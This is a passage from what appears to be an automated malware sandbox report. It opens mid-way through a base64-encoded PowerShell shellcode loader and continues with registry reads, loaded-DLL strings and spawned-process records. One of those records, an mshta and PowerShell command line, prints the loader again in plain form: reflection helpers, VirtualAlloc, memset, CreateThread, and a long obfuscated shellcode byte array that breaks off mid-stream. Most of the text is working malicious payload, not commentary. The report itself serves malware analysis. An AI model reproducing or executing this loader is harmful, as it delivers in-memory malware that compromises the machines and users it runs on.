DRELDB4NUEsMHgwRiw8I3p6ayM+MHg4NSwweERBLDB4MDIsMHgwMCwweDAwLDB4OEIsMHg0NSwweEQ0LDB4OEIsMHg0MCwweDNDLDB4MDMsMHg4NSwweDRDLDB4RkYsMHhGRiwweEZGLDB4ODksMHg0NSwweEQwLDB4OEIsMHg0NSwweEQwLDB4ODEsMHgzOCwweDUwLDB4NDUsMHgwMCwweDAwLDB4MEYsMHg4NSwweEJDLDB4MDIsMHgwMCwweDAwLDB4OEIsMHg0NSwweEQwLDB4OEIsMHg1OCwweDUwLDB4MDMsMHhEQiwweDZBLDB4NDAsMHg2OCwweDAwLDB4MzAsMHgwMCw8I3V0Iz4weDAwLDB4NTMsPCNqYyM+MHg2QSwweDAwLDB4RkYsMHg1NSwweEE4LDB4ODksMHg0NSwweEY4LDB4ODMsMHg3RCwweEY4LDB4MDAsMHgwRiwweDg0LDB4OUEsMHgwMiwweDAwLDB4MDAsMHg4QiwweDQ1LDB4RDAsMHg4QiwweDQwLDwjd2cjPjB4NTQsMHg1MCwweDhCLDB4ODUsMHg0QywweEZGLDB4RkYsMHhGRiwweDUwLDB4OEIsMHg0NSwweEY4LDB4NTAsMHhGRiwweDk1LDB4NzgsMHhGRiwweEZGLDB4RkYsMHg2QSwweDA0LDB4OEIsMHg4NSwweDdDLDB4RkYsMHhGRiwweEZGLDB4MDUsMHhFMCwweDAwLDB4MDAsMHgwMCwweDUwLDB4OEIsMHg0NSwweEQwLDB4OEIsPCN3YSM+MHg0MCwweDUwLDB4MDMsMHg0NSwweEY4LDwjZHUjPjB4NTAsMHhGRiwweDk1LDB4NzgsMHhGRiwweEZGLDB4RkYsMHg4QiwweDg1LDB4N0MsMHhGRiwweEZGLDB4RkYsMHg4QiwweDgwLDB4RTAsMHgwMCwweDAwLDB4MDAsMHg1MCwweDhCLDB4ODUsMHg0QywweEZGLDB4RkYsMHhGRiwweDUwLDB4OEIsMHg0NSwweEQwLDB4OEIsMHg0MCwweDUwLDB4MDMsMHg0NSwweEY4LDB4ODMsMHhDMCwweDA0LDB4NTAsMHhGRiwweDk1LDB4NzgsMHhGRiwweEZGLDB4RkYsMHg2QSwweDYwLDB4OEIsMHg4NSwweDdDLDB4RkYsMHhGRiwweEZGLDB4ODMsMHhDMCwweDdBLDB4NTAsMHg4Qiw8I2NxdyM+MHg0NSwweEQwLDB4OEIsMHg0MCwweDUwLDB4MDMsMHg0NSw8I3pyciM+MHhGOCwweDgzLDB4QzAsMHgwNCwweDhCLDB4OTUsMHg3QywweEZGLDB4RkYsMHhGRiwweDAzLDwjcnojPjB4ODIsMHhFMCwweDAwLDwjd2ZxIz4weDAwLDB4MDAsMHg1MCwweEZGLDB4OTUsMHg3OCwweEZGLDB4RkYsMHhGRiwweDhCLDB4NDUsMHhEMCwweDBGLDB4QjcsMHg0MCwweDA2LDB4NDgsMHg4NSwweEMwLDB4N0MsMHg1RiwweDQwLDB4ODksMHg4NSwweDNDLDB4RkYsPCNnZ3YjPjB4RkYsMHhGRiwweDMzLDwjZnBqIz4weEY2LDB4OEIsMHg1NSwweEQ0LDB4OEIsMHg1MiwweDNDLDB4OEIsPCNkb3YjPjB4ODUsMHg0QywweEZGLDB4RkYsMHhGRiwweDAzLDB4RDAsMHg4MSwweEMyLDB4RjgsMHgwMCwweDAwLDB4MDAsMHg4QiwweENFLDB4QzEsMHhFMSwweDAzLDB4OEQsMHgwQywweDg5LDB4MDMsMHhEMSwweDg5LDB4OTUsMHg1MCwweEZGLDB4RkYsMHhGRiwweDhCLDB4OTUsMHg1MCwweEZGLDB4RkYsMHhGRiw8I2JsIz4weDhCLDB4NTIsMHgxMCwweDUyLDB4OEIsMHg5NSw8I2JoZCM+MHg1MCwweEZGLDwjdWRpIz4weEZGLDB4RkYsMHg4QiwweDUyLDB4MTQsMHgwMywweEQwLDB4NTIsMHg4QiwweDg1LDB4NTAsMHhGRiwweEZGLDB4RkYsMHg4QiwweDQwLDB4MEMsMHgwMywweDQ1LDwjYncjPjB4RjgsMHg1MCwweEZGLDB4OTUsMHg3OCwweEZGLDB4RkYsMHhGRiwweDQ2LDB4RkYsMHg4RCwweDNDLDB4RkYsMHhGRiwweEZGLDB4NzUsMHhBQSwweDhCLDwjeHAjPjB4NDUsMHhEMCwweDhCLDB4NDAsMHgzNCwweDNCLDB4NDUsMHhGOCwweDBGLDwjeXllIz4weDg0LDB4Q0IsMHgwMCwweDAwLDB4MDAsMHg4QiwweDQ1LDB4RDAsMHg4QiwweDU1LDB4RjgsMHgyQiwweDUwLDB4MzQsMHg4OSwweDU1LDwjdnAjPjB4RDgsMHg4QiwweDQ1LDB4RjgsMHg4OSwweDQ1LDB4RjAsMHg4QiwweDQ1LDB4RDAsMHg4MywweEI4LDB4QTQsMHgwMCwweDAwLDB4MDAsMHgwMCwweDBGLDB4ODYsMHg4NywweDAwLDB4MDAsMHgwMCwweDhCLDB4NDUsMHhEMCwweDhCLDB4ODAsMHhBMCwweDAwLDB4MDAsMHgwMCwweDAzLDB4NDUsMHhGMCwweDg5LDB4NDUsMHhFQywweEVCLDB4NkUsMHg4QiwweDQ1LDB4RUMsMHg4Qiw8I2hvayM+MHgwMCwweDAzLDB4NDUsMHhGMCwweDg5LDB4NDUsMHhFOCwweDhCLDB4NDUsMHhFQywweDgzLDB4QzAsMHgwOCwweDg5LDB4NDUsMHhFNCwweDhCLDB4NDUsMHhFQywweDhCLDB4NDAsMHgwNCwweDgzLDB4RTgsMHgwOCwweEQxLDwjandqIz4weEU4LDB4NDgsMHg4NSwweEMwLDB4NzIsMHgzRSwweDQwLDB4ODksMHg4NSwweDNDLDB4RkYsMHhGRiwweEZGLDB4OEIsMHg0NSwweEU0LDB4NjYsMHg4QiwweDEwLDB4MEYsMHhCNywweEMyLDB4QzEsMHhFOCwweDBDLDB4OEIsMHhDQSwweDY2LDB4ODEsMHhFMSwweEZGLDB4MEYsMHgwRiwweEI3LDB4QzksMHg4MywweEY4LDB4MDMsMHg3NSwweDEwLDB4OEIsPCNiaSM+MHg0NSwweEU4LDB4MDMsMHhDMSwweDg5LDB4NDUsMHhFMCwweDhCLDB4NDUsMHhFMCwweDhCLDB4NTUsMHhEOCwweDAxLDB4MTAsMHg4MywweDQ1LDB4RTQsMHgwMiwweEZGLDB4OEQsMHgzQywweEZGLDB4RkYsMHhGRiwweDc1LDB4QzksPCNseWYjPjB4OEIsMHg0NSwweEVDLDB4OEIsMHg0MCwweDA0LDB4MDMsMHg0NSwweEVDLDB4ODksMHg0NSwweEVDLDB4OEIsPCN3YyM+MHg0NSwweEVDLDB4ODMsMHgzOCwweDAwLDB4NzcsPCNpZiM+MHg4QSwweDhCLDB4NDUsMHhEMCwweDhCLDB4NTUsMHhGOCwweDg5LDB4NTAsMHgzNCwweDY4LDB4RjgsMHgwMCwweDAwLDB4MDAsMHg4QiwweDQ1LDB4RDAsMHg1MCwweDhCLDB4NDUsMHhENCwweDhCLDB4NDAsMHgzQywweDAzLDB4NDUsMHhGOCw8I2xlayM+MHg1MCwweEZGLDB4OTUsMHg3OCwweEZGLDwjeGZlIz4weEZGLDB4RkYsMHg4QiwweDQ1LDB4RDAsMHgwNSwweDgwLDB4MDAsMHgwMCwweDAwLDB4ODksMHg0NSwweDkwLDB4OEIsMHg0NSwweDkwLDwja2NuIz4weDgzLDB4NzgsMHgwNCwweDAwLDB4MEYsMHg4NiwweDlFLDB4MDAsMHgwMCwweDAwLDB4OEIsMHg0NSwweEQwLDB4OEIsMHg4MCwweDgwLDB4MDAsMHgwMCwweDAwLDB4MDMsMHg0NSwweEY4LDB4ODksMHg0NSwweDhDLDB4RUIsPCNtZyM+MHg3RiwweDAzLDB4N0QsMHhGOCwweDU3LDB4RkYsMHg1NSwweEJDLDB4OEIsPCNib2sjPjB4RDgsMHg4NSwweERCLDB4NzQsMHg3MiwweDhCLDB4NDUsMHg4QywweDgzLDB4MzgsMHgwMCwweDc0LDB4MEQsMHg4QiwweDQ1LDB4OEMsMHg4QiwweDAwLDB4MDMsMHg0NSwweEY4LDB4ODksMHg0NSwweDg4LDB4RUIsMHgwQyw8I2NwbSM+MHg4QiwweDQ1LDB4OEMsMHg4QiwweDQwLDB4MTAsMHgwMywweDQ1LDB4RjgsMHg4OSwweDQ1LDB4ODgsMHg4QiwweDQ1LDB4OEMsMHg4QiwweDQwLDwjemZuIz4weDEwLDB4MDMsMHg0NSwweEY4LDB4ODksMHg0NSwweDg0LDwjbXpzIz4weEVCLDwjZXV2Iz4weDM3LDB4OEIsPCN1ZSM+MHg0NSwweDg4LDB4OEIsMHgzMCwweEY3LDB4QzYsMHgwMCwweDAwLDB4MDAsMHg4MCwweDc0LDB4MTIsMHg4MSwweEU2LDB4RkYsMHhGRiwweDAwLDB4MDAsMHg1NiwweDUzLDB4RkYsPCNnemEjPjB4NTUsMHhCOCwweDhCLDB4NTUsMHg4NCwweDg5LDB4MDIsMHhFQiwweDEwLDB4MDMsMHg3NSwweEY4LDB4ODMsMHhDNiwweDAyLDB4NTYsMHg1MywweEZGLDwjYnh2Iz4weDU1LDB4QjgsMHg4QiwweDU1LDB4ODQsMHg4OSwweDAyLDwjZmZhIz4weDgzLDB4NDUsMHg4OCwweDA0LDB4ODMsMHg0NSwweDg0LDwjeW0jPjB4MDQsMHg4QiwweDQ1LDB4ODgsMHg4MywweDM4LDB4MDAsMHg3NSwweEMxLDB4ODMsMHg0NSwweDhDLDB4MTQsMHg4QiwweDQ1LDB4OEMsMHg4QiwweDc4LDB4MEMsMHg4NSwweEZGLDB4MEYsMHg4NSwweDczLDB4RkYsMHhGRiwweEZGLDB4OEIsMHg0NSwweEQwLDB4OEIsMHg0MCwweDI4LDwjdWIjPjB4MDMsMHg0NSwweEY4LDB4ODksMHg0NSw8I2dmIz4weEY0LDB4MzEsMHhDMCwweDUwLDB4NkEsMHgwMSwweEZGLDB4NzUsMHhGOCwweEZGLDB4NTUsMHhGNCwweDZBLDB4MDAsMHhGRiwweDU1LDB4QTQsMHg1RiwweDVFLDB4NUIsMHg4QiwweEU1LDB4NUQsMHhDMiwweDA0LDB4MDAsMHg4RCwweDQwLDB4MDAsMHg3MywweDZGLDB4NjYsPCNqb3gjPjB4NzQsMHg3NywweDYxLDB4NzIsMHg2NSwweDVDLDB4NkQsMHg3NywweDQxLDB4NDQsMHg1MSwweDU3LDB4NEIsMHg0OSwweDM2LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDM2LDB4MzksMHgzNCwweDYzLDB4NTYsMHg3NywweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhDMSwweEI2LDB4OTQsMHg1RiwweDkwLDB4MzYsMHhGNCwweEExLDB4M0QsMHgxRSwweDQyLDB4QzEsMHhFRCwweEQwLDB4N0MsMHgxNSwweEE0LDB4QzAsMHg4QiwweDFELDB4OUUsMHg1RiwweEM4LDB4RjEsMHhEOCwweDAwLDwjZnB5Iz4weDU5LDB4QkIsMHhEQiw8I2hlaSM+MHgwMCwweDAwLDwjdXBrIz4weDAwLDwjbnpzIz4weDAwLDB4MDAsPCNyYSM+MHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg3MywweDAwLDB4NjgsMHgwMCwweDY1LDB4MDAsMHg2QywweDAwLDB4NkMsMHgwMCwweDNDLDB4MDAsMHgzQywweDAwLDB4M0EsMHgwMCwweDNBLDB4MDAsMHgzRSw8I2tqIz4weDAwLDB4M0UsMHgwMCwweDczLDB4MDAsMHg2OCwweDAwLDB4NjUsMHgwMCwweDZDLDB4MDAsMHg2QywweDAwLDB4NjIsMHgwMCwweDcwLDB4MDAsMHg3MywweDAwLDB4M0EsMHgwMCwweDNBLDB4MDAsMHg2MiwweDAwLDB4NzAsMHgwMCw8I2h0ZiM+MHg3MywweDAwLDB4NkUsMHgwMCwweDc1LDB4MDAsMHg2RCwweDAwLDB4M0EsMHgwMCwweDM4LDB4MDAsMHgzNywweDAwLDB4MzIsMHgwMCwweDNBLDB4MDAsMHg2RSwweDAwLDB4NzUsMHgwMCwweDZELDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDwjZXhnIz4weDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgxRCwweDAwLDB4MDAsMHgwMCwweDAwLDB4QUEsMHgwNiwweDAwLDB4NTUsMHg4QiwweEVDLDB4NjAsMHg4QiwweDdELDB4MDgsMHg4Qiw8I3VmdyM+MHg3NSw8I2d5Iz4weDBDLDB4OEIsMHg0RCwweDEwLDB4RjMsMHhBNCwweDYxLDB4NUQsMHhDMiwweDBDLDB4MDAsMHgyQSwweEIxLDB4MjcsMHhCNywweDFBLDB4RUEsMHg0RiwweDYwLDB4MDIsMHhEQiwweDA0LDB4NkMsMHg5NSw8I3d0cCM+MHgyNSwweEIxLDB4M0YsMHhEMCwweDgyLDB4RDksMHg1MSwweDZDLDB4NDMsMHg1QywweDQyLDB4QzIsMHhGOSwweEM4LDB4NDMsPCNlZ3QjPjB4MzUsMHg5QSwweEY2LDB4OUIsMHg1NiwweDhCLDB4M0UsMHg3RCwweDZFLDB4NUQsMHgwMSwweDc4LDB4MUMsMHgyNywweDdCLDB4MjEsMHgyNiwweENGLDB4RjcsMHhEQSwweEMzLDB4QTUsMHhFMSw8I2hlYyM+MHhDRCwweEVCLDB4MUQsMHg1MywweDcxLDB4NzcsMHg5RSwweDE5LDB4NDUsPCNlZiM+MHgxQiwweEE5LDB4NEQsMHg4OSwweDhFLDB4QzgsMHhGQywweDI4LDB4NkEsMHgwNiwweDdDLDB4MTE8I3FlIz47DQojaXB4cnBpaw0KJHByPShbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigoZ3Byb2Mga2VybmVsMzIuZGxsIFZpcnR1YWxBbGxvYyksKGdkZWxlZ2F0ZSBAKFtJbnRQdHJdLFtVSW50MzJdLFtVSW50MzJdLFtVSW50MzJdKSAoW1VJbnQzMl0pKSkpLkludm9rZSgwLCRzYzMyLkxlbmd0aCwweDMwMDAsMHg0MCk7DQojZ3J6YXVpDQppZigkcHIgLW5lIDApeyRtZW1zZXQ9KFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKChncHJvYyBtc3ZjcnQuZGxsIG1lbXNldCksKGdkZWxlZ2F0ZSBAKFtVSW50MzJdLFtVSW50MzJdLFtVSW50MzJdKSAoW0ludFB0cl0pKSkpOw0KI3Rxc21rcGRpZg0KZm9yICgkaT0wOyRpIC1sZSAoJHNjMzIuTGVuZ3RoLTEpOyRpKyspIHskbWVtc2V0Lkludm9rZSgoJHByKyRpKSwgJHNjMzJbJGldLCAxKX07DQojbHhna3dsZ3Zjeg0KKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKChncHJvYyBrZXJuZWwzMi5kbGwgQ3JlYXRlVGhyZWFkKSwoZ2RlbGVnYXRlIEAoW0ludFB0cl0sW1VJbnQzMl0sW1VJbnQzMl0sW1VJbnQzMl0sW1VJbnQzMl0sW0ludFB0cl0pIChbSW50UHRyXSkpKSkuSW52b2tlKDAsMCwkcHIsJHByLDAsMCk7DQojem5xbmVjdQ0KfXNsZWVwKDEyMDApO31jYXRjaHt9ZXhpdDsNCiNkZ3pmDQojdXBzaWhndG5jeGhhdXlxeXh3a3ppaHFyamUNCg==')))"" Process "powershell.exe" (UID: 00000000-00003404) was launched with modified environment variables: "Path, NUMBER_OF_PROCESSORS"43:T9dc,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR-SA") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR-SA") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG-BG") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG-BG") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CA") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA-ES") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CA-ES") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-HANS") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-HANS") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-CN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-CN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CS") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CS") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CS-CZ") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CS-CZ")44:Te15,Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00005936-00000C2B-300560081] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00005936-00000C2B-301658477] Observed system executable string:"%WINDIR%\system32\Oleacc.dll" [Source: 00000000-00005936-00000C66-302103347] Observed system executable string:"%WINDIR%\system32\Msimtf.dll" [Source: 00000000-00005936-00000C66-302124103] Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00005936-00000C2B-302147884] Observed system executable string:"%WINDIR%\system32\DXGIDebug.dll" [Source: 00000000-00005936-00000C2B-328067990] Observed system executable string:"%WINDIR%\system32\D3D10Warp.dll" [Source: 00000000-00005936-00000C2B-329129513] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00003404-00000C2B-304235152] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003404-00000C2B-304324046] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003404-00000C2B-304561155] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003404-00000C2B-304580061] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00003404-00000C2B-304623679] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003404-00000C2B-304679973] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00003404-00000C2B-304761835] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00003404-00000C2B-304924295] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00003404-00000C2B-305106932] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00003404-00000C2B-305257494] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003404-00000C2B-305306836] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00003404-00000C2B-305592679] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00003404-00000C2B-305796258] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00003404-00000C2B-306018402] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00003404-00000C2B-306041227] Observed system executable string:"%WINDIR%\system32\CRYPT32.dll" [Source: 00000000-00003404-00000C2B-306248454] Observed system executable string:"%WINDIR%\system32\wshext.dll" [Source: 00000000-00003404-00000C2B-306301807] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00003404-00000C2B-306355314]45:T48ad,Spawned process "mshta.exe" with commandline "javascript:lE1FxlM="QwNCtD";XW11=new%20ActiveXObject("WScript.Sh ..." (UID: 00000000-00005936), Spawned process "powershell.exe" with commandline "iex $env:oczbexg" (UID: 00000000-00003404, Additional Context: "#fwwrdoqfefmdzqxquedyhgfigfakbutekc sleep(15);try{ #iqmfurgb function gdelegate{ #oafv Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #pjvnxievbk $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #aqir $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #umqwhtwer $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #jpyxlo return $TypeBuilder.CreateType();} #duepeeqx function gproc{ #zgasc Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #bturhlps $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #ecaqdvwmi $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #nufemwglj return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #bqdzumsw [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 0xFC 0x31 0xD2 0x64 <#vq#>0x8B 0x52 0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 0x8B 0x72 0x28 0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C <#ep#>0x20 0xC1 0xCF 0x0D 0x01 0xC7 <#os#>0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 0xDB 0x89 0x5D 0xFC 0x5F 0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B <#yo#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 <#gzi#>0x3C 0x99 0x03 0x04 0x24 0x13 0x54 <#gyn#>0x24 0x04 0x83 0xC4 0x08 0x89 <#pw#>0x45 0xD0 0x8B 0x45 0xD0 <#cn#>0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#fc#>0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x45 0xFC 0x33 0xD2 <#mcl#>0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 <#dp#>0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#skb#>0x83 0xC4 0x08 0x03 <#er#>0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F 0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 <#ic#>0x72 0x79 0x41 0x75 0x40 <#om#>0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B <#ocj#>0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xBC 0x81 0x39 0x47 0x65 <#xdc#>0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 <#fdd#>0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 <#oya#>0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 <#cbh#>0x04 0x24 0x13 0x54 0x24 0x04 <#qj#>0x83 0xC4 <#is#>0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 <#hr#>0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C <#hpa#>0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x6C 0x6C 0x6F 